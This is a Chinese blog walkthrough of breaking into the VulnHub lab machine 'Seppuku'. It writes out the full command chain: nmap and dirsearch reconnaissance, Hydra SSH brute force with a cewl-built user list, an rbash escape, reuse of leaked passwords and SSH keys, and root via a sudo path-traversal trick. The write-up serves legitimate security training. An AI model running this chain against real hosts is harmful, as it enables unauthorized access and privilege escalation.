实战打靶集锦-024-Seppuku

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


靶机地址:https://download.vulnhub.com/seppuku/Seppuku.zip

1. 主机发现

目前只知道目标靶机在232.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.232.0/24

在这里插入图片描述
锁定靶机IP地址位192.168.232.142。

2. 端口扫描

$ sudo nmap -p 1-65535 192.168.232.142

在这里插入图片描述
呀,这个靶机开放的端口还真是多。

3. 服务枚举

通过下面的命令枚举一下端口上的服务。

$ sudo nmap -p21,22,80,139,445,7080,7601,8088 -A -sT -sV 192.168.232.142

在这里插入图片描述
枚举出来的内容也是比较多的,我们逐个看看。

4. 服务探查

4.1 FTP探查

先通过匿名用户试一下FTP。

$ ftp 192.168.232.142

在这里插入图片描述
是有密码保护的,后面不行再回来爆破一下,先看看这个FTP版本有没有现成的EXP。
在这里插入图片描述
只有一个远程DoS的EXP跟我们的版本是匹配的,不过跟我们想要突破边界的目的相去甚远,还是看看别的,跳过SSH,直接看80端口。

4.2 80端口探查

先用浏览器访问一下看看。
在这里插入图片描述
80端口上需要身份认证,直接枚举一下这个端口上的目录。

$ dirsearch -u http://192.168.232.142:80/

在这里插入图片描述
哭笑不得,只有一个info.php,既然这么有诚意,就进去看看吧。
在这里插入图片描述
确实能看到一些信息,不过目前没有发现太特别的,该端口上的nginx服务也没有发现有价值的EXP。

4.3 探查smb

这里探查一下139和445端口上的smb服务。

$ smbclient -L //192.168.232.142 -U root

在这里插入图片描述
没看到共享目录,更不用谈可写的共享目录了,所以这里基本上没戏,直接searchsploit搜索一下smbd 4.9.5有没有EXP吧,也没有找到合适的。

4.4 探查7080端口httpd

先用浏览器看看。
在这里插入图片描述
没有太特别的,通过dirsearch枚举一下这个端口的目录。

$ dirsearch -u https://192.168.232.142:7080/

在这里插入图片描述
内容比较多,但是绝大多数都是403,再通过dirb挂载big字典扫一把。

$ dirb https://192.168.232.142:7080/  /usr/share/wordlists/dirb/big.txt

效果也是一样的,浏览一下仅有的几个地址看看。
在这里插入图片描述
只能看到OpenLiteSpeed的用户手册,没有其它。

4.5 探查Apache

先用浏览器访问一下看看。
在这里插入图片描述
是一个静态图片,继续目录枚举。

$ dirsearch -u http://192.168.232.142:7601/

在这里插入图片描述
枚举出来一些内容,逐个看看。
其中在/ckeditor目录下的内容有些可疑,可以在这里定制模板,应该可以插入一些反弹shell啥的,不过完全看不明白,暂时跳过,如下图。
在这里插入图片描述
后面实在没招的时候回来研究一下咱们在这个类似word的页面中插入反弹shell。另外在/secret/目录下有几个文件值得我们关注,分别是passwd和shadow的备份文件,另一个是密码字典。
在这里插入图片描述
这些内容肯定是有用的,先从passwd.bak文件中过滤一下,发现主要有两个用户值得尝试:root和rabbit-hole。
在这里插入图片描述
分别用和两个用户挂上上面的密码列表文件password.lst爆破一下ssh端口。

$ hydra -l root -P passwordlst.txt 192.168.232.142 ssh 
$ hydra -l rabbit-hole -P passwordlst.txt 192.168.232.142 ssh

在这里插入图片描述
都没有爆出来,暂时放弃。

4.6 探查8088端口的LiteSpeed

先用浏览器访问一下。
在这里插入图片描述
8080端口上打开的仍然是这个图片,枚举一下目录。

$ dirsearch -u http://192.168.232.142:8088/

在这里插入图片描述
内容不多,还有个登录入口,逐个看了一下,其中/index.php和/index.php/login/都是指向一个web console,如下图。
在这里插入图片描述
随便输入一下,看看有啥返回。
在这里插入图片描述
用burp通过root和rabbit-hole配合之前找出来的那个passwd.lst文件爆破一下看看。
在这里插入图片描述
没有爆破出结果,到此为止,黔驴技穷。
简单复盘一下前面的经过,总感觉这个靶机不会随随便便给提供一个密码字典,可是我们把passwd.bak文件都捞遍了,也没有发现除了root和rabbit-hole之外的用户,难道我们漏掉了用户?

4.7 大海捞针

直接用cewl爬一下开放的几个http端口,用爬出来的内容作为用户列表,然后挂上前面的密码字典进行爆破试试看,先爆破ssh,再爆破那几个登录页面。

$ cewl http://192.168.232.142/ > cewl.txt
$ cewl https://192.168.232.142:7080/ >> cewl.txt
$ cewl http://192.168.232.142:7601/ >> cewl.txt
$ cewl http://192.168.232.142:8088/ >> cewl.txt
$ cat cewl.txt

在这里插入图片描述
死马当活马医吧,去掉三个标题行,剩下的作为用户列表,先爆破ssh。

$ hydra -L cewl.txt  -P passwordlst.txt 192.168.232.142 ssh

在这里插入图片描述
嗯,还是没有结果,不知道是不是用户名列表大小写的原因,都换成小写,再爆一把。
在这里插入图片描述
我的神啊,真的爆出来了,用户名是seppuku,密码是eeyoree。

5. 提权

先优化一下shell。

$ whereis python
$ /usr/bin/python3.7 -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述
感觉这个shell有些不太正常,受限制了,先凑活着用。

5.1 枚举系统信息

$ uname -a
$ cat /etc/*-release

在这里插入图片描述
是64为的debian 10。

5.2 查看passwd文件

$ cat /etc/passwd | grep -v nologin

在这里插入图片描述
上面这几个用户都是值得我们注意的。

5.3枚举定时任务

$ cat /etc/crontab

在这里插入图片描述

5.4 枚举可执行文件

$ sudo –l
$ find / -type f -user root -perm -o=w 2>/dev/null | grep -v "/sys/" | grep -v "/proc/"
$ find / -user root -perm -4000 2>/dev/null

在这里插入图片描述
貌似没啥用,shell受限,想办法突破限制。

5.5 突破shell限制

$ ssh seppuku@192.168.232.142 -t "bash --noprofile"

在这里插入图片描述
这次OK了。再试试枚举前面的可执行文件。
在这里插入图片描述
没有太多收获,再试试刚学的capabilities位。

5.6 查看capabilities位

$ /usr/sbin/getcap -r / 2>/dev/null

在这里插入图片描述
没有合适的capabilities。

5.7 查看seppuku用户家目录

在这里插入图片描述
没有太特别的,看看.passwd里面有些啥。
在这里插入图片描述
额,里面有个密码12345685213456!@!@A,具体是谁的密码目前还不清楚,再看看其它目录。
在这里插入图片描述
也没有太特别的发现。尝试用这个密码,看看能不能登录之前那几个枚举出来的passwd文件中的用户。
在这里插入图片描述
直接进入的samurai的用户,看看这个用户下的sudo权限,再看看这个用户的目录下有些啥。
在这里插入图片描述
还是受到rbash的限制,用前面的方法绕过一下。
在这里插入图片描述
这次可以了,继续。
在这里插入图片描述
嗯,samurai用户可以不需要密码的情况下执行tanto用户的.cgi_bin/bin /tmp/* 进行提权。
在这里插入图片描述
再看看tanto的home目录,竟然没有对应的.cgi_bin目录和bin文件。
在这里插入图片描述
除了两个同样的密钥,也没有其它有价值的信息。
手动创建.cgi_bin目录试试看。
在这里插入图片描述
创建失败。在/tmp/下面创建一个反弹shell,执行试试看。
在这里插入图片描述
仍然不允许,把上面的密钥放到kali本机的~/.ssh/id_rsa文件中,尝试用该证书登录tanto用户。
在这里插入图片描述
失败了。嗯,看来还是得想办法进入到tanto用户下创建一个.cgi_bin,先linpeas看看再说吧。

5.8 Linpeas提权

实在没有别的招数了,用linpeas试试。
在这里插入图片描述
首先是CVE-2019-13272的漏洞,显示很高的概率,直接下来试一下。
在这里插入图片描述
失败了,不具备条件,继续往下看,找到一个我们感兴趣的内容。
在这里插入图片描述
可能是个ssh的key,说不定就是我们想要切入的tanto用户呢,进去看看再说。
v
private和private.bak的内容是一样的,放到kali本机的~/.ssh/id_rsa文件中,尝试用该证书登录tanto用户试试看。
在这里插入图片描述
不错,直接就进去了,看看那个.cgi_bin/bin。
在这里插入图片描述
果真没有,直接在tanto用户下看看可执行文件。
在这里插入图片描述
需要密码,还是手工创建一个.cgi_bin/bin看看吧。

tanto@seppuku:~$ mkdir -p ~/.cgi_bin && cd ~/.cgi_bin/ && echo "/bin/bash" > bin && chmod u+x bin

在这里插入图片描述
进入到原来的samurai用户,执行不需要密码的sudo命令尝试提权。

samurai@seppuku:/tmp$ sudo -l
samurai@seppuku:/tmp$ sudo /../../../../../../home/tanto/.cgi_bin/bin /tmp/*

在这里插入图片描述
貌似是提权成功了,验证一下。
在这里插入图片描述
没有问题,获取一下flag看看。
在这里插入图片描述
提权成功。

  • 17
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值